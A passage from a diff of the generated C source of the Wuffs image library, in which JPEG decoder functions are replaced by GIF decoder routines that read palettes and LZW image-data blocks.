self->private_impl.f_width = wuffs_base__u32__max(self->private_impl.f_width, self->private_impl.f_frame_rect_x1); ++ self->private_impl.f_height = wuffs_base__u32__max(self->private_impl.f_height, self->private_impl.f_frame_rect_y1); + } + + goto ok; + ok: +- self->private_impl.p_decode_dri[0] = 0; ++ self->private_impl.p_decode_id_part0 = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_dri[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_id_part0 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -42801,18 +42970,24 @@ wuffs_jpeg__decoder__decode_dri( + return status; + } + +-// -------- func jpeg.decoder.decode_appn ++// -------- func gif.decoder.decode_id_part1 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_appn( +- wuffs_jpeg__decoder* self, ++wuffs_gif__decoder__decode_id_part1( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- uint8_t a_marker) { ++ wuffs_base__pixel_blend a_blend) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c8 = 0; +- uint32_t v_c32 = 0; ++ uint8_t v_flags = 0; ++ uint8_t v_which_palette = 0; ++ uint32_t v_num_palette_entries = 0; ++ uint32_t v_i = 0; ++ uint32_t v_argb = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint8_t v_lw = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -42825,184 +43000,136 @@ wuffs_jpeg__decoder__decode_appn( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_appn[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_id_part1; ++ if (coro_susp_point) { ++ v_which_palette = self->private_data.s_decode_id_part1.v_which_palette; ++ v_num_palette_entries = self->private_data.s_decode_id_part1.v_num_palette_entries; ++ v_i = self->private_data.s_decode_id_part1.v_i; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- do { +- if (a_marker == 224u) { +- if (self->private_impl.f_payload_length >= 5u) { +- self->private_impl.f_payload_length -= 5u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_appn[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } +- } +- v_c32 = t_0; +- } +- if (v_c32 != 1179207242u) { +- self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 1u)); +- break; +- } +- { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_flags = t_0; ++ } ++ if (((uint8_t)(v_flags & 64u)) != 0u) { ++ self->private_impl.f_interlace = 4u; ++ } else { ++ self->private_impl.f_interlace = 0u; ++ } ++ v_which_palette = 1u; ++ if (((uint8_t)(v_flags & 128u)) != 0u) { ++ v_num_palette_entries = (((uint32_t)(1u)) << ((uint8_t)(1u + ((uint8_t)(v_flags & 7u))))); ++ v_i = 0u; ++ while (v_i < v_num_palette_entries) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_decode_id_part1.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c8 = t_1; +- } +- self->private_impl.f_is_jfif = (v_c8 == 0u); +- } +- } else if (a_marker == 238u) { +- if (self->private_impl.f_payload_length >= 12u) { +- self->private_impl.f_payload_length -= 12u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_appn[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } +- } +- v_c32 = t_2; +- } +- if (v_c32 != 1651467329u) { +- self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 8u)); +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_appn[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } +- v_c32 = t_3; +- } +- if ((255u & v_c32) != 101u) { +- self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 4u)); +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_appn[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_appn[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 24) { +- t_4 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ uint64_t* scratch = &self->private_data.s_decode_id_part1.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 16) { ++ t_1 = ((uint32_t)(*scratch >> 40)); ++ break; + } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); + } +- v_c32 = t_4; +- } +- if ((v_c32 >> 24u) == 0u) { +- self->private_impl.f_is_adobe = 1u; +- } else { +- self->private_impl.f_is_adobe = 2u; + } ++ v_argb = t_1; + } ++ v_argb |= 4278190080u; ++ self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; + } +- } while (0); +- self->private_data.s_decode_appn[0].scratch = self->private_impl.f_payload_length; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (self->private_data.s_decode_appn[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_appn[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ while (v_i < 256u) { ++ self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = 255u; ++ v_i += 1u; ++ } ++ } else if (self->private_impl.f_quirks[6u] && ! self->private_impl.f_has_global_palette) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_palette); ++ goto exit; ++ } else if (self->private_impl.f_gc_has_transparent_index) { ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_palettes[1u], 1024), wuffs_base__make_slice_u8(self->private_data.f_palettes[0u], 1024)); ++ } else { ++ v_which_palette = 0u; + } +- iop_a_src += self->private_data.s_decode_appn[0].scratch; +- self->private_impl.f_payload_length = 0u; ++ if (self->private_impl.f_gc_has_transparent_index) { ++ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 0u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 1u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 2u)] = 0u; ++ self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 3u)] = 0u; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(2198077448u), ++ wuffs_base__make_slice_u8(self->private_data.f_palettes[v_which_palette], 1024), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ if (self->private_impl.f_ignored_but_affects_benchmarks) { ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_lw = t_2; ++ } ++ if (v_lw > 8u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); ++ goto exit; ++ } ++ self->private_impl.f_lzw_pending_literal_width_plus_one = ((uint32_t)(((uint8_t)(1u + v_lw)))); ++ self->private_impl.f_ignored_but_affects_benchmarks = true; + +- goto ok; + ok: +- self->private_impl.p_decode_appn[0] = 0; ++ self->private_impl.p_decode_id_part1 = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_appn[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_id_part1 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_id_part1.v_which_palette = v_which_palette; ++ self->private_data.s_decode_id_part1.v_num_palette_entries = v_num_palette_entries; ++ self->private_data.s_decode_id_part1.v_i = v_i; + + goto exit; + exit: +@@ -43013,30 +43140,29 @@ wuffs_jpeg__decoder__decode_appn( + return status; + } + +-// -------- func jpeg.decoder.decode_sof ++// -------- func gif.decoder.decode_id_part2 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_sof( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { ++wuffs_gif__decoder__decode_id_part2( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_comp_h = 0; +- uint8_t v_comp_v = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- bool v_has_h24 = false; +- bool v_has_h3 = false; +- bool v_has_v24 = false; +- bool v_has_v3 = false; +- uint32_t v_upper_bound = 0; +- uint64_t v_wh0 = 0; +- uint64_t v_wh1 = 0; +- uint64_t v_wh2 = 0; +- uint64_t v_wh3 = 0; +- uint64_t v_progressive = 0; ++ uint64_t v_block_size = 0; ++ bool v_need_block_size = false; ++ uint32_t v_n_copied = 0; ++ uint64_t v_n_compressed = 0; ++ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_r = &u_r; ++ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint64_t v_mark = 0; ++ wuffs_base__status v_copy_status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -43049,269 +43175,185 @@ wuffs_jpeg__decoder__decode_sof( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_sof[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_id_part2; + if (coro_susp_point) { +- v_i = self->private_data.s_decode_sof[0].v_i; ++ v_block_size = self->private_data.s_decode_id_part2.v_block_size; ++ v_need_block_size = self->private_data.s_decode_id_part2.v_need_block_size; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_payload_length < 6u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } +- self->private_impl.f_payload_length -= 6u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c == 8u) { +- } else if (v_c == 12u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_12_bits); +- goto exit; +- } else if (v_c == 16u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_16_bits); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_1 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_sof[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- while (true) { ++ wuffs_gif__decoder__lzw_init(self); ++ v_need_block_size = true; ++ label__outer__continue:; ++ while (true) { ++ if (v_need_block_size) { ++ v_need_block_size = false; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_sof[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 8) { +- t_1 = ((uint32_t)(*scratch >> 48)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); ++ uint64_t t_0 = *iop_a_src++; ++ v_block_size = t_0; + } + } +- self->private_impl.f_height = t_1; +- } +- if (self->private_impl.f_height == 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_implicit_height); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_sof[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_sof[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 8) { +- t_2 = ((uint32_t)(*scratch >> 48)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } ++ if (v_block_size == 0u) { ++ break; + } +- self->private_impl.f_width = t_2; +- } +- if (self->private_impl.f_width == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ while (((uint64_t)(io2_a_src - iop_a_src)) == 0u) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); + } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if ((v_c == 0u) || (v_c > 4u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } else if (v_c == 2u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_color_model); +- goto exit; +- } +- self->private_impl.f_num_components = ((uint32_t)(v_c)); +- if (self->private_impl.f_payload_length != (3u * self->private_impl.f_num_components)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } +- self->private_impl.f_payload_length = 0u; +- v_i = 0u; +- while (v_i < self->private_impl.f_num_components) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- self->private_impl.f_components_c[v_i] = t_4; ++ if (self->private_impl.f_compressed_ri == self->private_impl.f_compressed_wi) { ++ self->private_impl.f_compressed_ri = 0u; ++ self->private_impl.f_compressed_wi = 0u; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ while (self->private_impl.f_compressed_wi <= 3841u) { ++ v_n_compressed = wuffs_base__u64__min(v_block_size, ((uint64_t)(io2_a_src - iop_a_src))); ++ if (v_n_compressed <= 0u) { ++ break; + } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- v_comp_h = (v_c >> 4u); +- v_comp_v = (v_c & 15u); +- if ((v_comp_h == 0u) || +- (v_comp_h > 4u) || +- (v_comp_v == 0u) || +- (v_comp_v > 4u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } +- self->private_impl.f_components_h[v_i] = v_comp_h; +- if (self->private_impl.f_max_incl_components_h < self->private_impl.f_components_h[v_i]) { +- self->private_impl.f_max_incl_components_h = self->private_impl.f_components_h[v_i]; +- } +- self->private_impl.f_components_v[v_i] = v_comp_v; +- if (self->private_impl.f_max_incl_components_v < self->private_impl.f_components_v[v_i]) { +- self->private_impl.f_max_incl_components_v = self->private_impl.f_components_v[v_i]; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_n_copied = wuffs_private_impl__io_reader__limited_copy_u32_to_slice( ++ &iop_a_src, io2_a_src,((uint32_t)(v_n_compressed)), wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, self->private_impl.f_compressed_wi, 4096)); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_wi, ((uint64_t)(v_n_copied))); ++ wuffs_private_impl__u64__sat_sub_indirect(&v_block_size, ((uint64_t)(v_n_copied))); ++ if (v_block_size > 0u) { ++ break; + } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; +- } +- if (v_c >= 4u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ v_need_block_size = true; ++ break; ++ } ++ v_block_size = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); ++ iop_a_src += 1u; + } +- self->private_impl.f_components_tq[v_i] = v_c; +- v_j = 0u; +- while (v_j < v_i) { +- if (self->private_impl.f_components_c[v_j] == self->private_impl.f_components_c[v_i]) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ while (true) { ++ if ((self->private_impl.f_compressed_ri > self->private_impl.f_compressed_wi) || (self->private_impl.f_compressed_wi > 4096u)) { ++ status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); + goto exit; + } +- v_j += 1u; +- } +- v_i += 1u; +- } +- if (self->private_impl.f_num_components == 1u) { +- self->private_impl.f_max_incl_components_h = 1u; +- self->private_impl.f_max_incl_components_v = 1u; +- self->private_impl.f_components_h[0u] = 1u; +- self->private_impl.f_components_v[0u] = 1u; +- } else { +- v_has_h24 = false; +- v_has_h3 = false; +- v_has_v24 = false; +- v_has_v3 = false; +- v_i = 0u; +- while (v_i < self->private_impl.f_num_components) { +- v_has_h24 = (v_has_h24 || (self->private_impl.f_components_h[v_i] == 2u) || (self->private_impl.f_components_h[v_i] == 4u)); +- v_has_h3 = (v_has_h3 || (self->private_impl.f_components_h[v_i] == 3u)); +- v_has_v24 = (v_has_v24 || (self->private_impl.f_components_v[v_i] == 2u) || (self->private_impl.f_components_v[v_i] == 4u)); +- v_has_v3 = (v_has_v3 || (self->private_impl.f_components_v[v_i] == 3u)); +- v_i += 1u; +- } +- if ((v_has_h24 && v_has_h3) || (v_has_v24 && v_has_v3)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_fractional_sampling); +- goto exit; +- } +- if (self->private_impl.f_num_components == 4u) { +- self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe < 2u); +- } else { +- if (self->private_impl.f_is_jfif) { +- self->private_impl.f_is_rgb_or_cmyk = false; +- } else if (self->private_impl.f_is_adobe > 0u) { +- self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe == 1u); +- } else { +- self->private_impl.f_is_rgb_or_cmyk = ((self->private_impl.f_components_c[0u] == 82u) && (self->private_impl.f_components_c[1u] == 71u) && (self->private_impl.f_components_c[2u] == 66u)); ++ { ++ wuffs_base__io_buffer* o_0_v_r = v_r; ++ const uint8_t* o_0_iop_v_r = iop_v_r; ++ const uint8_t* o_0_io0_v_r = io0_v_r; ++ const uint8_t* o_0_io1_v_r = io1_v_r; ++ const uint8_t* o_0_io2_v_r = io2_v_r; ++ v_r = wuffs_private_impl__io_reader__set( ++ &u_r, ++ &iop_v_r, ++ &io0_v_r, ++ &io1_v_r, ++ &io2_v_r, ++ wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, ++ self->private_impl.f_compressed_ri, ++ self->private_impl.f_compressed_wi), ++ 0u); ++ v_mark = ((uint64_t)(iop_v_r - io0_v_r)); ++ u_r.meta.ri = ((size_t)(iop_v_r - u_r.data.ptr)); ++ wuffs_gif__decoder__lzw_read_from(self, v_r); ++ iop_v_r = u_r.data.ptr + u_r.meta.ri; ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_ri, wuffs_private_impl__io__count_since(v_mark, ((uint64_t)(iop_v_r - io0_v_r)))); ++ v_r = o_0_v_r; ++ iop_v_r = o_0_iop_v_r; ++ io0_v_r = o_0_io0_v_r; ++ io1_v_r = o_0_io1_v_r; ++ io2_v_r = o_0_io2_v_r; + } +- } +- } +- self->private_impl.f_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, 1u, self->private_impl.f_max_incl_components_h); +- self->private_impl.f_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, 1u, self->private_impl.f_max_incl_components_v); +- v_upper_bound = 65544u; +- self->private_impl.f_components_workbuf_widths[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[0u])))); +- self->private_impl.f_components_workbuf_widths[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[1u])))); +- self->private_impl.f_components_workbuf_widths[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[2u])))); +- self->private_impl.f_components_workbuf_widths[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[3u])))); +- self->private_impl.f_components_workbuf_heights[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[0u])))); +- self->private_impl.f_components_workbuf_heights[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[1u])))); +- self->private_impl.f_components_workbuf_heights[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[2u])))); +- self->private_impl.f_components_workbuf_heights[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[3u])))); +- v_wh0 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[0u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[0u]))); +- v_wh1 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[1u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[1u]))); +- v_wh2 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[2u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[2u]))); +- v_wh3 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[3u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[3u]))); +- v_progressive = 0u; +- if (self->private_impl.f_sof_marker >= 194u) { +- v_progressive = 2u; +- v_i = 0u; +- while (v_i < 4u) { +- v_j = 0u; +- while (v_j < 10u) { +- self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; +- v_j += 1u; ++ if (self->private_impl.f_lzw_output_ri < self->private_impl.f_lzw_output_wi) { ++ v_copy_status = 